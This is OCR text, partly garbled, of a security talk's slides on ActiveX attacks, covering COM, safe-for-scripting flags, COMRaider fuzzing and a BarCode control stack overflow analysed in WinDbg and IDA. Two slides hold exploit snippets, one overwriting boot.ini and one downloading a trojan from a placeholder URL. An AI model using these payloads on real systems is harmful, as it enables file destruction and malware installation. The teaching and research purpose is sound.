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INFORMATION SECURITY SOLUTIONS

Become fully aware of the potential

dangers of ActiveX attacks

Brian Mariani — Senior Security Auditor - Consultant @
High Tech Bridge SA ( hitp://www.htbridge.ch )
CHFI, ECSA, CEH, CCSA, RHCE, MSCE, CCNA, CCNP, CCSP, CCIEwien
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0 11| [T —— atlin
&
W HIGH TECH BRIDGE
UUUUUUUUUUUUUUUUUUUUUUUUUUUU

m  What are ActiveX?

m Security problems related to ActiveX.

m  What kind of security holes can be discovered?

m  Overview of an ActiveX attack.

m Discovering security holes in ActiveX.

m ActiveX fuzzers.

m My nameis COMraider!

m Discovering an ActiveX security hole with COMRaider.

m  Analysing the vulnerability with and Antipacker, WinDBG & IDA.

m  Demo (Tracing the exploit and triggering the flaw).
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What are ActiveX? (1)

m  Component Object Model (COM) is a standard binary-interface for software componentry
introduced by Microsoft in 1993.

m  The term COM is often used in the Microsoft software that encompasses the OLE, OLE
Automation, ActiveX, COM+ and DCOM technologies.

m It'sakind of a group of methods developed for sharing information and functionality among
programs.

m  These objects are like small programs or "applets" and a number of programs like Office and
Internet Explorer (IE) are designed to be able to interact with them. (Word, Powerpoint)
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What are ActiveX? (2)

m Do you remember the old and handy spell checker? Other Microsoft programs such as

Outlook, Word, can make use of it. In fact, any program with the appropriate interface can use
the spell checker.

m  An ActiveX control can be automatically downloaded and executed by Internet Explorer.
Once downloaded, the control in effect becomes a part of the operating system.

a = e e S T e 1 — . »
o |m.ﬁ.dd Message ] | - B ey - sk Page - {f Tools -

igd This website wanis to run the following add-on: Microsafi R\ Dunamic ST Editing Conirol’ from Microsoft X

Corporation’. If you trust the website and the add-on Run ActiveX Coritrad here...
What's I {5

Maore infermation

m  For example, Internet Explorer can read PDF files using ActiveX controls from Adobe Reader.
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Adobe reader ActiveX being loaded

@Pid 1472 - WinDbg:6.11.0001.404 %86 -|D ﬂ (:'.‘http:,a",.-"www.wire.nasa.gov,.-"center_i -|D|5|
Flleq. e e e T @A )y - Ié, http:,l',l'www.wire‘nasa.govIcenter_invuI'j 4 X I"l Google L=
@ EREBERE 600y I DRREEREOEE| 1N A
Fichier ~ Edition  Atteindre  Favoris 7

Command B~ i

ModLoad: 6bc50000 6bd14000  C:\Program Files“AVGNAVGLO“awglogz.dll || v Favaris |E=3 Sites suggéres ~ | Hotmal € | Galerie de composants W... -

Modload: 62920000 6aacl000  Co~Program FileswAVG-AVGl0awgofgx dll i . on
Modload: 03930000 03bf6000  CoWINDOWS.system32wmsi.dll (& http: fuw wire.nasa,govicenter_involvement/wl... | |i;-?T » [ - = o= - Page v Sécurité v Outils + (G-
ModLoad: 0££d40000 Of££8000  C:~WINDOWS“system32 rsaenh dll -

Modload: 77210000 77201000  Co~WINDOWS-=ysten3i~SES DLL 3
ModLoad: 71ca0000 7icbz000 CWINDOWS-system32actzprzy.dll

ModLoad: 63580000 63b2cz000  C:~WINDOWSsystem32wmshtnl dll

ModLoad: 04710000 04739000  C:WINDOUSaystem3Zsmsls3l dll APPERDIX 1 - ACACNYMS AND DEFNITIONS

ModLoad: 74660000 7468a000  C:~WINDOWSsystem32wmsintf dll

ModLoad: 63380000 63434000  C:AWINDOWS“system32“jscript.dll

ModLoad: 69010000 69214000  C:~WINDOWSSsystem32msznlld dll

ModLoad: 05700000 0572£000  C:~WINDOWSSsystem32“iepeers.dll

ModLoad: 72£50000 72£76000  C:~WINDOWS-systend“WINSPOOL . DRV . T

ModLoad: 1B000000 1b00c000  C:“WINDOWS“system3Z\Ingltil.dll Appendl)( 1 —Acronyms and Definitions

ModLoad: 1b0G0000 1E0&=000  C:~WINDOWS-systemdZ-pngfilt . dll

ModLoad: 47060000 47081000  C:~WINDOWS-systend~Emllite.dll

Hodload: 753c0000 7542B000  Co~WINDOWS-systen3Z~USPL0.dll Acmnyms

{5zl . ff4): Break instruction exception — code 80000003 {first chance)

=ax=7{£d9000 ebx=00000001 ecx=00000002 =dz=00000003 e=1=00000004 edi=0000000%

eip=7c911230 esp=05elffcc ebp=0%elfffid iopl=0 nv up 21 pl zr na pe nc

ce=001b ===0023 d==0023 e==0023 {==0038 g==0000 efl1=00000246 ARC Ames Research Center

*%% ERRCE: Symbol file could not be found. Defaulted to export symbols for COSWINDOWS:.system32-

ntdll!DbgBreakPoint ATE Autornated Test Equipment

7c911230 co int 3

0:021: g AVEV Automated Verification and Validation

ModLoad: 72c70000 72079000  Co~WINDOWS-svstendd wdmaud . drv ) Lo

ModLoad: 76be0000 76c0=000  CosWIHDOWS-systen3~WIHTRUST.dL1l AWL Automated Wire List

ModLosd: 76c40000 76ceB8000  Co~WIHDOWS-systen3Z~IHAGEHLE.dll .

ModLoad: 72060000 72c68000  CoAWINDOWS-system32\msacnli.drv BRSS Boeing Reusable Space Systems

ModLosd: 77bb0000 77bc5000 CoWIHDOWS-systen3Z~MSACHIZ dll o )

ModLosd: 77ba0000 77ba?000  Co\WINDOWS \systen3d2midinap.dll BOM Build of Materials

odload: 62000000 6elael00  C:“Program Files“Fichiers communs“idobe™icrobat™Activel™AcroPDF.dl1l . .

odload: 04220000 04322000  C.“Program Files‘Fichiers communz“AdobeAcrobat“kctiveX“AcroFDF.FR CBM Condition-Based Maintenance
| /| [ Ll_ CDF&TDS Circuit Design, Fabrication and Test Data System (2 database)
|*BUSY* IDebuggee is rumning. .. COTS Commercial Off-the-Shelf
| L0, Col 0 [Sys 0:<Local |Proc 000:5c0 [Thrd 020364 a5t [0 [Caps [om DFS Design for Safety Initiative |

m  AcroPDF.dll file was loaded at base memory address 0x6e00000.
m AcroPDF.fra file was also loaded at address 0x042e0000.
m |E can now use ActiveX methods to load PDF file from the Nasa Website.
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Loading ActiveX from an HTML
document

CLASSID' is a unique registry-identifying component
that is used to identify an ActiveX control.

<html-
<nhjentnlassid='clsid:FDE42D50—3EBC—l1DD—AD81—DDADCQDDCBD9'id='buffer_nverflnw'><fuhject>

<soript language='Javascript'> /

buffer overflow.Methode from ActiveX A name is asigned to the id TAG which will

be later instantiated.
<gsoript>- \
=<html>-

We can now call the method into the ActiveX
control using the name passed in the id Tag
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Tasks behind the loading process

m  First of all internet explorer will process the 'OBJECT' tag in the browser code.
m  Then it will determine after checking different things if it needs a download.

m  The browser will process the 'CAB' file and the 'INF' file.

m Later the control and its dependencies will be installed.

m  Finally, the ActiveX control will show up on the screen.
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Security issues

m  The interactivity and ease of programming of ActiveX controls has a price and these controls are
a major source of security problems.

m  Security holes have been found all the time in ActiveX for many years now, and these
components are a favourite target of viruses or malware writers.

m  Microsoft has continually tightened up security over the years both in Windows and in Internet
Explorer but security issues remain!

m  Note that browsers such as Firefox ,Chrome, Opera, and Safari do not support ActiveX but NPAPI
(Netscape Plugin Application Programming Interface). This has been a factor taken into account
for many security-conscious computer users who prefer these other browsers.

A InfoWorld Home / Security f Hews § Symantec: Microzoft Sccess Sctiver attacks will ..

Symantec: Microsoft Access ActiveX
attacks will intensify

Easy-to-use Neosploit toolkit takes advantage of a vulnerability
revealed last week in Microsoft's database program

By Jerery Kirk | IDGHS

An easy-to-use toolkit used to hack computers has now been updated to take advantage of an
unpatched security vulnerahbility in Microsoft's software, which could mean attacks will intensify,
accarding to vendor Symantec.

The Meaosploittoolkitis one of several an the Internet that can he used by less-technical hackers to
compromise machines. Symantec said ithas detected on its netwark of Internet sensors that
Meosploit can take advantage of a vulnerability revealed early last week in Microsoft’s Access
database program.
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ActiveX (Safe for Initialization)

m  When a control is initialized, it can receive data from an arbitrary source from either a local or a
remote URL for initializing its state.

m Thisis a potential security hazard because the data could come from an untrusted source.

m  Controls that guarantee no security breach regardless of the data source are considered safe for
initialization.

m  There are two methods for indicating that your control is safe for initialization.

The first method uses the Component Categories Manager to create the appropriate entries in the system
registry.

The second method implements an interface named IObjectSafety on your control. If Internet Explorer

determines that your control supports IObjectSafety, it calls thelObjectSafety: :SetinterfaceSafetyOptions
method before loading the control in order to determine if it is safe for initialization.
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ActiveX (Safe for Scripting)

m  Allowing ActiveX Controls to be accessed from scripts raises several new security issues.

m  Evenif a control is known to be safe in the hands of a user, it is not necessarily safe when
automated by an untrusted script.

m  For example, MS-Word is a “trusted tool” from a “trusted source”, but a malicious script can use its
automation model to delete files on the user's computer, install macro viruses or even
worse.

m  There are two methods for indicating that your control is safe for scripting.

The first method uses the Component Categories Manager to create the appropriate entries in the system
registry.

The second method implements the I0bjectSafety interface on your control. If Internet Explorer determines
that your control supports IObjectSafety, it calls the IObjectSafety: :SetinterfaceSafetyOptions method
before loading the control in order to determine if it is safe for scripting.



0 ]| [|TT—— antllln
&
W HIGH TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

ActiveX signed & unsigned

m  Users will download ActiveX controls from unknown sites fully trusting the content and they end
up with lot of damage done to their system or lose data through online theft.

m  This is the reason why Microsoft came out with the signature system for the ActiveX controls.

m  This system enables a programmer to digitally sign their controls with the help of an online
signature authority.

m  When you visit a Web page that uses the control, your browser can verify the identity. This does
not guarantee that the control is safe, but at least you have some hope that you know who
really wrote the control.

Internet Explorer - Security Warning @ Internet Explorer - Security Warning } x|

Do you want to install this software? Windows has blocked this software because it can't verify the publisher.

ﬁ_ Mame: Symantec Security Check Utilities e ——
i . Sy 1] i . .
Publisher: Symantec Corporation Publisher: Unknown Publisher
More options Install ] | Don't Installkj

; While files from the Internet can be useful, this file type can potentially harm To help protect your computer, Windaws will black software when it cannot
your computer, Only install software from publishers you trust. What’s the risk? wetify the publisher, See how this helps proteck vour computer.
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Security holes found in ActiveX (1)

m All kind of security holes can be discovered in ActiveX components.
m  Buffer Overflow, Stack Overflow, Heap Overflow.

] InsEc)ure methods (Methods which are not carrying out the proper checks before doing some
tasks

m  McAffe Police Manager ActiveX overwrites the boot.ini file.

Mohfee, Inc. J.6.0.608 Policy Manager naPolicyvManager.dll Arbhitrary Data Write

< HTML =
<BODY -
<ohject id=ctrl classid="cl=sid:{04D1383721-749F-4140-AEEO-CACOS9CA4741} "= fohject -
<SCRIPT-
function Do 1ti]
i
File = "C:hkboot.ini™
ctrl.WriteTaskDataTolniFile (File)
B
< fSCRIPT-
<input language=Javaicript onclick=Do 1t (] type=button value="FOc™:-
< fBODY =
< FHTML = |
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Security holes found in ActiveX (2)

Microsoft Access Snapshot VWiewer ActiveX Control Exploit.
Microsoft—-Access Snaplhot Exploit Snapview.ocx w 10.0.5529.0
Download nice binaries into an arbitrary box.

Remote: Yes
<html -
<objectclassid='cl=sid:FOE42DE0-368C-11D0-ADE1-00A0CI0DCEDS'id=" attack' = fobject -
<gcript language='javascript'>

var arbitrary file = 'http://path to trojan'

war dest = 'C:/Docume~1/ALLTU3E~1l/trojan.exe’
attack.3napshotPath = arbitrary file

attack.CompressedPath = destination
attack.Print3napshot (arbitrary file,destination]

<gscript-

<html> |



Overview of an ActiveX attack (1)

Hacked or
propietary web
server hosting

the evil web

page (@ |

" Victim

- |

Attacker

m The attacker sends a customized email to the victim using Social engineering
techniques inviting him to visit a URL.

m The victim gets caught with the customized email and launches IE with the evil URL.



Overview of an ActiveX attack (2)

Hacked or
propietary web
server hosting

the evil web

page (@

" Victim

%)

2

Attacker

m If Internet Explorer has high security options activated, the browser will display an
alert risk message.

m If Internet Explorer has the option “Allow active content to run in files on my
Computer” activated, no warning will be displayed.

m End users often accept blocked ActiveX alerts! ©



Overview of an ActiveX attack (3)

Hacked or
propietary web
server hosting

the evil web 4
page (@

SR

" Victim

Attacker

m  An evil task is triggered often a buffer, stack or heap overflow, executing a shellcode
which establishes a connection with the attacker computer or server.
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On the hunt for ActiveX security holes

m  Manually or automated analysis of source code is used to hunt security vulnerabilities.
m  Hunting these holes is a tedious task, especially if you do not have access to source code.
m  Analysis of binary files could be a BIG task.

m  Hopefully there are a bunch of decent pieces of code that help security specialists to discover
them.




Fuzzing ActiveX controls

m Fuzz testing or fuzzing is a software testing technique, often automated or semi-
automated, that involves providing invalid, unexpected, or random data to the inputs
of a computer program, hoping that the application crashes.

m  We have four pretty good pieces of software that are able to fuzz ActiveX controls
in an easy and simple way.

m  Some of them are:

1 ComRaider by David Zimmer @ Verisign.
1 Dranzer by Carnigie Mellon University.
1 AxMan by H. D. Moore @ Metasploit. (Only for IE 6)

1 FuzzWare from Dave @ Fuzzware.net




Let’s get in touch with ComRaider (1)

&' ComRaider

m  Capability to easily enumerate safe for
scripting objects.

m  Ability to scan for COM objects by path,
filename, or guid (Global unique id) |

Step 1 - Select the COM Server you wish to test.

@ Choose Activer, dll or ocx file directl

" Scan a directory for registered COM servers

= Integrated debugger to monitor exceptions W ¢ e
a'n d I O g A p I (Ap pI ICa.tI O n P rog ram m I n g ((: \ér:o::::11:::;:Ii:lailould be loadable in [E
I nte rface) . = Select previously generated fuzz file to test

€ Wiew shared|fuzz files from distributed audits

Mext |

m  Enumerate and view controls with killbit
set.
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Let’s get in touch with ComRaider (2)

& 'ComRaider

m  Capability to filter methods only by the
fuzzable ones.

m  Enumeration of the Library, Class, Interface =01
COM Server [C:\Program Files'Adohe\eader 10 0% eaderderoR d32 di _2| ¥ Show only fuzzable
a.n d m eth Od S . W +|[Loaded File: c:\Program Files\Adobe\Reader 10.0\Reader\nci-|

E!--u Acrabpp Hame = Acrobat

[0 CAcrabpp Lib GUID: {E64169B3-3592-47D2-816E-602C5C13F328 )

- GetbDoc Uersion: 1.1

=& Gelinterface Lib Classes: 13

=% GetPreferance

=% GetPreterenceEs

-5 Lock
M aximize
MenultemE xecul
MenultermlsEnak le

=% Menultem|shark

=% MenultemRemay

- Minimize

=% Hestore

=% SethetiveT ool

=% SetPreference

=% SetPreferencels

=% ToolButtonlsEna T4 Use right click menu on treeview to generats fuzz files
3 More > Newt>>




Let’s get in touch with ComRaider (3)

= ComRaider

m  The function prototype gives us a rough idea
about the functions parameters.

m We are able to fuzz the member of a class or :

COM Server [C:4Program Files'Adobe' Reader 10.0WReadsrberoR da2 di | ¥ Show anly fuzzable

even the entire class. YT Tumm GetAUDoc (

- Acrobpp Byval 1lIndex As Long
[0 Chcmbpp } As Object

-y

-8 Geflntat 4% N

m In this particular method GetAVDoc s

=% Lock

ComRaider has prepared four WSF 6 Horin

=% MenultemE xecul
H H H H 1 - MenultemlsEnat
(Windows Scripting Files) to fuzz it. o Ve, 121
=& MenultemPemay  |C\COMPaider\AcrobaticrodpphGettlDochl 183030268, vesf
- Mirimize C:\COMR aider\AcrobaticrobpphGettlDoch 4887 28298, vesf

& Resh C:A\COMR aider'acrobatidcrbppiGetdyDoct 291 211 21 Jwsf
oo CACOMPaider\ciobatcrabpph GetdMDock 1 BB 3762457 wsf
= SetbctiveT ool

-3 SetPreference
=% SetPreferencels

Callapse Al

- ToolButton\sEjj 4 fugz files created for 1 functions
»

4

Initiization Fuzz Seript prologue




Let’s get in touch with ComRaider (4)

= ComRaider

m This is the form which houses our built in
debugger and will launch all of our WSF files
while monitoring for exceptions.

IDEFENSE

& Debugger Interface 4 files loaded

Result Exceptions | Windows | ApiHi

m The second down is the exception list e
which is used to display error information.

Addiess | Exception | Module | Ingtruction

m  The third listview represents windows which
will be displayed and closed during the R
scripts run.

Debug Stings

m  The bottom is the API Log.

¥ EKilhung Processes ¥ Close Popups [~ Pause

¥ Delete duds ¥ Save only exceptions Eegin Fuzzing
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Let’s get in touch with ComRaider (5)

omRaider

m  Once the tests are completed, we can click
on any of the items on the file list to view its
output.

IDEFENSE

ebugger Interface 4

Rezult Exceptions | ‘windows

o oY N F——
4] rAorobal pp' sk j

E: \COMR aidervd.crobatiAcradpphGetdh/Doch 1507926782 waf
CACOMR aiderAcrobathacrodppiGetdyDoch 755811377 wsf

Address | E xception | tdodule | |nztiuction |
FAFI93C BREAKPOINT INT3
4141414 ACCESS_WIOL ey

H
Clazs | Caption |
Api Log I
1436290 CreateFiled M\ \CLIF)
Bdd03ecl  CreateFiled[c: swinnthspstem32hwscript. exe)

Dot Bt o [V Kill hung Processes ¥ Close Popups " Pause

((i jtizztirz;dled v Delete duds I~ Save only exceptions Begin Fuzzing |
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Let’s get in touch with ComRaider (7)

m Here you can see a partial listing of the
exception environment including the
registers.

m  Other information available for each crash
includes:

Exception address, exception code, exception
instruction.

SEH chain.
Registers with data dereferencing.
Call stack.

m  Once debug tests have been run, you can
then analyze the results for exploitabilty.

Called From Feturnzs To
77F9193D 77FAEDGS
77FAENCY 77FBOSCC
77FBOSCC 77F9EDSA
77F9BDSA 77FCEE3E
77FCBA3E 77E26641
7TEZ6641 77E1300B
77E13D0B T7E13D4AT7
77EL3DAT 175191C
175191C 41414141
Reqisters:

EIP 77F9193D

EAY 00000000

EBY 41414149

ECX 77FADODC -» Asc: Page heap: Bad heap handle

EDY 001264C6 -» 00000004

EDI 00000000

ESI 00130000 -» Asc: AARARARARARARARARALALALALALARARARAAAAAAAAAARARAALL
EBP 00126000 -» 00126D28 -» Asc: (m(n

ESP 00126CCC -» 77FADO2S
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Analysis of an ActiveX vulnerability
with COMRaider and IDA

m  We are going to analyze an ActiveX stack buffer overflow vulnerability in a
widespread BarCode ActiveX discovered by myself using Windows SP2/IE 8.0

m To accomplish this task we first fuzz the ActiveX with ComRaider to catch all the
exceptions.

m After that, we know the vulnerable method, and the type of vulnerability we are
dealing with.

m  The next step consists in analysing the ActiveX file to know if it's packed, otherwise
static analysis will be tedious.

m Later we inspect the file with IDA to statically find the vulnerable method.

m  Then we can prepare our working environment in WinDBG to understand the flaw
and code the exploit.

m Later we trace the flaw dynamically to understand and test the exploitation |2



" N

Let’s fuzz the method

= ComRaider

& COMRaider

COM Server [:4Program Files\

RKD\B arCodedetBarCodete. dil

? I |v Show only fuzzable

1“BARCODELib

i#) ActiveBC

[l [ActiveBC

- BackColor

gl BarTest

g BarwidthAeduction

<= BinanwritePicture

----- = CopyTollipboard

----- =% DrawBarcodeToSize

g ForeColor

----- = GetBarcode'width

----- =% GetProperty

-l JPEGQuality

----- =% Partiah/ritePicture

----- =% SaveTalmagefFile
=% SetlicenseSh

----- = SetPrintertHDC

- TextColor

| |Sub BeginPrint
Byval name As String

]

| Usze right click menu on treeview to generate fuzz files

More 3> Mest > |
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At this point we open the BarCodeAx.dll file. We can see plenty of method to fuzz.

In this particular case we select the BeginPrint method, which is using a variable of

type string.



" S
Triggering an exception

= :ComRaider

IDEFENSE

m'Onfile 3/18 6 Exceptions 0 Windo = IEI 1'
File: Result | Exceptions | ‘Windows | ApHits | | =100 x]
CACOMR aider' ABARCODELib A ctiveBC B eginPrinty14383205... | Caused Excepti.. 2 1] 1]
CACOMR aider'ABARCODELib\ActiveBCAB eginPrinty 12807389... Causf wceph.. | 2 1] 1]
CACOMRA aideraBARCODELiE ActiveBC B eginPrint,74333192... | Caused\Excepti.. 2 1] 1] ;I
CACOMRaideraBARCODELiE A ctiveBCAB eginPrints11419120...
CACOMR aider\ABARCODELib ActiveBC\BeginPrint,80427289...
CHACOMR aiderABARCODELibWActiveBC\BeqinPrints13121143... -
4 POUAD ik A DA DI ACEL T A b 1D D mian Diionbh A CONTONT
o o
\
Address | Exception | todule | Instruction \ |
FCS7DFS1 ACCESS_WIOL...  ntdldl X
(41414141 ACCESS WID
L\ (ol x|
Class | Caption "Fil\e Generated by COMRaider w0.0.133 - http |
buggingscustom prolo
L il gg Eilé:‘\F'ngrgm Fi ?ES\RKD\B&FCDE}IEAX\

Installing Hooks
7cB2Bcab  CreateFiled(C:\WWINDOWShaystern32hrsaenh. dl]
TcB26cab  CreateFiled T WwINDOW Sheystern32hvrzaenh. dl)

"sub BeginPrint ¢ Bywal name as
"BeginPrint” i

"ABARCODELih. ActiveBC"

1

Debug Stings

Iar" gl=string(lod4d, "A")I

target. BeginPrint argl

[v Delete duds

¥ Kil hung Processes ¥ Close Popups ]
¥ Save onlp exception 4 | LI;

</script></jobr</package>
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After fuzzing the method the screenshot shows us that the COMraider has triggered
two different exceptions from the first WSF file, and the second one is very

interesting!

At this time we know that the BeginPrint method is vulnerable, an overflow is

triggered passing at least 1044 bytes.



Taking a look at the exception

Exzception Code:

ACCESS_VIOLATICON

Dizasm: 41414141 Eararira {1

Seh Chain:

1 EDZ950 WBSCEIPT 411

2 FCAIAFI KERNEL32 d11
Called From Return= To
Registers:

EIF 4141414]]

A NEENE
EBX 00F17830 -»
ECX 0013F10C -»
EDX 00150608 —»
EDI 00000000

ESI 0018586C -
EBE 41414141]
ESP 0013ED24 -

O0EF977D
0013FFEQ
7C98c500

00130008

Azc: AAAAARAAAAAALAAAAALLAAAAAAAAAAAAAAAARALANARAAAAAAE

Block Di=zassembly:

li1414141

<——— CRASH

Stack Dump:

13ED54
13EDG4
13ED74
13ED&4
13ED94
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At this point it is obvious that we are dealing with a stack buffer overflow
vulnerability. The large buffer passed has effectively overwritten EBP and EIP

registers.



Analysing the ActiveX DLL file

% Headers I % Doz O Sections | i Funchions I Rs Fesources I ¥ Signature I HFA4 I "I % Headers | » Du:usl 0 Sections | ¢ Functions | Re Resources ¥ Signature | R FA I Fl

Database containg . 400 file tupe sighatures — Internal databaze info—

prog: [PEid 0.9
auth: |Snaker&ﬂwe
date : [15/08/2003

— Databaze actione———

[ Estemal DB
Copy bt

zearching time : 0 ms

R awiffzet Character...

Detection mode: 1+ Standard ¢ Hard

m After opening the file with a PE analyzer we can clearly understand that the file was
packed.

m Text section is not there, and the characteristics of each and every section are
exactly the same which is not a normal case of a PE file.

m Finally, the signature of the file lets us know that the ASPack packer was used to
make the analysis more complicated.



"
Analysing the ActiveX file

a IDA - CDocuments and Settings',Administrator',Desktop',BarCodefs.dll

Fle Edt Jump Search View Debugger Options ‘Windows Help

=0l

IRl =% 83 D0 [&d - #uX[]>

MH | | |

Mo debugger T “J =] »
v
! I vl

Functions window & X D4 View-4 [ | @ Hex View-A [ | Structures || | Ej Erums | | Inports || | @ Expor 4 Dl

.model flat

-

Function name eqBAa:10061008
oliCanUnloadow seqB0B:10061000
DIErtryPoint seqBia:10061000 ;

seqBaa:10001000

seqBAA:-10001088 seqfdd
seqB0Ba:10061000
seqBoB:18061000
ceqboa:10061000
ceqbon:100061000
seqBiB:10061062

ceqBea: 10061088 ; Segnent type: Pure code
ceqB0B:18061000 ; Segment permissions: Read/Write/Execute

segment para public 'CODE' use32
assume cs:seqBeg
;org 108681886h

assume es:nothing, ss:nothing, ds:_data, fs:

and

[ebx], al

retn

seqBaa:10861002 ;
seqBan:1aa61 ae3
ceqBan:10a6 aek
ceqBan:10aE aay
seqBA0:10AE1 ABL
seqBAn:10aE1 08y
seqBan:1aae oy

4 I d 00001000 [L0001000: segO00: LO0O1000

db
dd
dd
dd
dd
dd

line2af 2 Ll
Qukbput window

8B2h

80AR1119h, BF7462579%h, DABTAODA2Eh, BDAED2
BD1BCLCAZh, BFA4204LEH, 977351F6h, BCLUBOY
2BABGGBYh, 98F22CB3h, 20160914h, 61DFF523
2B244A4h, 8B389C23h, 2ALB7P66h, BAA3G63ACHh
9C9049D4h, 936E3F9Bh, BF2A5978Fh, 4503613

g

»

8 X

Opening the file with IDA confirms us that the file was packed.

ilim....... il
[
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There are plenty of file depackers out there, StripperX could be one choice.
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Preparing our debugging environment

1o T st O = B | e Moy 604 - WinDb E 1ol x|
Offset: [@3scopeip | Pravious | mest || costomize. | | virtual; [@e=p || Displsy format: [Pointer and =] || Previos | Nest |
77127323 BIEBOE sax, b 0 Oltccbad 040alf£0 (Unloaded sspe.dlls>+0xélalief P
77127326 0£8404010000 OLEAUT3Z | DispCallFunc+0xl3e (771274b0) Feg Ealue 2|l|016ccbad 03d21c64 <Unloaded sspo. dlls+0x3d21063
771273ac 8bddic ccu,dword ptr [ebp+0Ch] gs Oltccbac 0l6ccbec <Unloaded_sspe.dlls+0xléccheb
771273af Obdb shi, shx s b 0ltcchbl 04a3c9£0 <Unloaded_sspe.dlls+Dxéa3cdef
771273b1 7406 OLEAUT3Z | DispCallFunc+0x153 (771273b3) es 23 01tccbbd 016cchac (Unloaded sspo dlls+0x16ochab
771273b3 53 ebx ds 23 016ecbbf 016cccdf ¢Unloaded_sspe dlls+0xlbocod?
;;%S;ggg ggéblg ehx,gworg ptr Eehx] b edi i OlGecbbe 77127920 OLEAUT32|CTypelnfo?: : Invoke+0x234
=3 ecx,.dvord ptr [ecz+sbz esi 3d7e404 0lécchbel 040a1££0 <Unloaded sspc.dlls+0xdlalief
771273b9 Obc ecx.ecx b 3027820 01tccbod 000000d8 <Unloaded sspo dlls+0d?
771273bb 0£8414440200 OLEAUT32 | DispCallFunc+0x21f (7714b7dS) e Sa7edos 0lGccho8 00000004 <Unloaded_sspo.dll>+0x3
771273c1 64a118000000 sax dword ptr fs [<Onloaded sspo d11>+0x17 (0000 225 ET 0l6ccbco 00000004 <Unloaded_sspc.dlls>+0xd
771273c? 8088b40£000001 byte ptr <Unloaded sspc.dlls+0xfhd (00000fbd o 7E£d2000 016ccbdd 00000001 <Unloaded sspc dlls
1 I 016ccbdd 03d7e42c <Unloaded_sspe dlls+0x3d7e=42b
£48b0d18000000 . ptr fs [<Onloaded sspc dl i|f =bp  loechba D16ccbds 0372424 <Unloaded sspe.dll»+Dx3d7ed2d
771273d7 80a1b40£000000 byte ptr <Unloaded sspc dll>+0xfb3 (00000fbd)[ec || =iB i2127333 0ltcchde 0l6ccbec (Unloaded sspo.dlls+0zléccheb
771273de 3b65fc esp.dword ptr [ebp-4] o= 016ccbsd 00000000
771273el 0£855LOL000D OLEAUT32 | DispCallFunc+0x226 (77127542) efl 202 0l6cched 0l6ccect <Unlosded_sspo.dlly+0xl6ccecy?
77127327 0Dfb75d414 ebx, word ptr [ebp+l4h] esp locchad 0l6cched 00000000
771273eb 8bdd24 scx.dword ptr [ebp+24h] ss 23 016ccbec 00000000
771273ce £7c300200000 cbx.of fzet” <Unloaded sspec.dll>+0x1EEf (00002000} dro i 016ccbfl 016cco84 <Unloaded_sspo dlls+0xlbocoBd
771273f4 7507 OLEAUT32 1 DispCallFunc+0=20b (771273fd) drl i 01l6cchbfd 3dl63dea mshtml!Ordinall03+0xb7£h2
771273£6 ££249dc0741277 dword ptr OLEAUT32|DispCallFunc+0x=198 (77127400} (| grz 0 016cchfd 00001405 (Unloaded sspc.dll>+0x1404
771273fd 894108 dword ptr [ecx+8].sax ] 0ltccbfc 016cooie <Unloaded sspo dlls+0xl6ooo?b
Sinaaniiaden R0 prr leext g Vltecobs DObEEEDS
0 O0ltccc04 00000001 <Unloaded_sspo.dll:s
0 016cochf 3cf7c048 mshtml!Dl1GetClassObiect+0xbecd
L Sind 016cecls 3of72342 mshtnllDl1GetClassObject+0xbostd
0:008> bl 0l6cccll 040a1f£0 <Unloaded_sspco dll:+0x40alfef
0 e 77127304 0001 {D00L) 0. *wsex OLEAUT32!DispCallFunc 7830 0lfcocld 3d075b30 mehtnllOrdinall0d+0x6388
1 e 771273ce 0001 {00015 0 *wse OLEAUT3Z1DispCallFunc+0xl6d Eég? 01tcoclf 0lfcocad <Unloaded sspo. dlls+0xlfoooad =l
- _
200 MR
ggg: JV\rtuaI:IDZUSEDm: HD\sp\ayformat: Byte = ‘ Previous I Next |
202 Unable to retrieve information, WindZ error On3ll The system cannot a
chad
a0
2a
af
0
78
=4
e
&0
271
4000
EEEf
35d
30f93£73
lecdbec
23 _J:J o
0:008> || v L4l | v

m  We set up our environment with two memory windows one to follow the stack and
the other one to see data and of course, one registers window.

m  Acommand and a disassembly windows are needed too.

m Finally we might want to save our workspace!
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Placing breakpoints

T 2 o= i TS | B ooy - P 60 - v 1 (3 i
Offset: [@3scopeip | Previous | hest |Customizem| | virtual: [@=sp || Disploy formet: [Pointer and =] | Previous | Hest |
771273a3 83£806 cnp =ax,. b ~1/|0l6cckbad 040a1££0 <Unloaded sspo. dll:+0x40alfef -
771273a6 0£5404010000 je QLEAUT32 ! Di=pCallFunc+0=l3e (771274b0) Re: Falus 016ccha8 03d21c6d <Unloaded_sspo. dll:+0x3d21c63
771273ac 8bddic mow ecx.dword ptr [ebp+0Ch] g= o Oleécchbac Olecchec <Unloaded sspo o dll:+0xléccheb
771273af Obdb or ehx, ehx fs 3b 0l6cchbl 0423c9£0 <Unloaded _sspc.dll>+0xdadcist
771273b1 7406 je QLEAUT32 I Di=pCallFunc+0x153 (771273b9) =5 23 0l6cchbbd 0l6cchac <Unloaded_sspo.dll:+0xléccbab
771273b3 53 push ebx d= 23 0lecchbb® Olecccd® <Unloaded sspo. dll:+0xléccocd?
771273b4 8blb now ebx, dword ptr [ebx] edi 1] 0l6cchbbs 771279=0 OLEAUTIZ | CTypelnfol: : Invoke+0x234
771273b6 §b0cl9 mow ecx.dword ptr [ecx+ebx] P ad7=404 016cchel 04081££0 <Unloaded_sspc.dll:+0xdlalfef
771273b3 b or scu, mox =bx 3027830 Oltcchod 00000048 <Unloaded sspe.dlls+0ud?
771273bb 0f2414440200 je OLEAUT22 | DispCallFunc+0=x21f (7714b7d5)} edx 3d7e422 0l6cche8 00000004 <Unloaded_sspc.dll-+0=3
7712731 64allgooonon now eax.dword ptr fs:[<Unloaded_sspc.dll>+0x17 (0000 P 300=53F 0l6cchos 0000000a <Unloaded_sspc.dll»+0x9
it i | g e e
771273d0 648b0418000000 mow ecx.dword ptr fs:[<Unloaded_sspo.dll>+0x17 (000C|| S5F cC O0l6cchdd 03d7e424 <Unloaded_sspc. dll»+0x3d7e423
771273d7 B0s1b40£000000 and byte ptr <Inloaded_sspc.dllb+0xfbd (00000fbd)[ec|l =i F7127dcs 01l6cobds D16ccbec <Unleaded sspe. dlls+0x16echeb
771273de 3bbSfc cmp esp.dword ptr [ebp-4] &= 0lécche0 00000000
7712732l 0f855b010000 ine OLEAUT22 1 DispCallFunc+0x226 (77127542) =fl 202 Ol6cched Dl6ccect <Unloaded_sspe . dll»+0xlbccec?
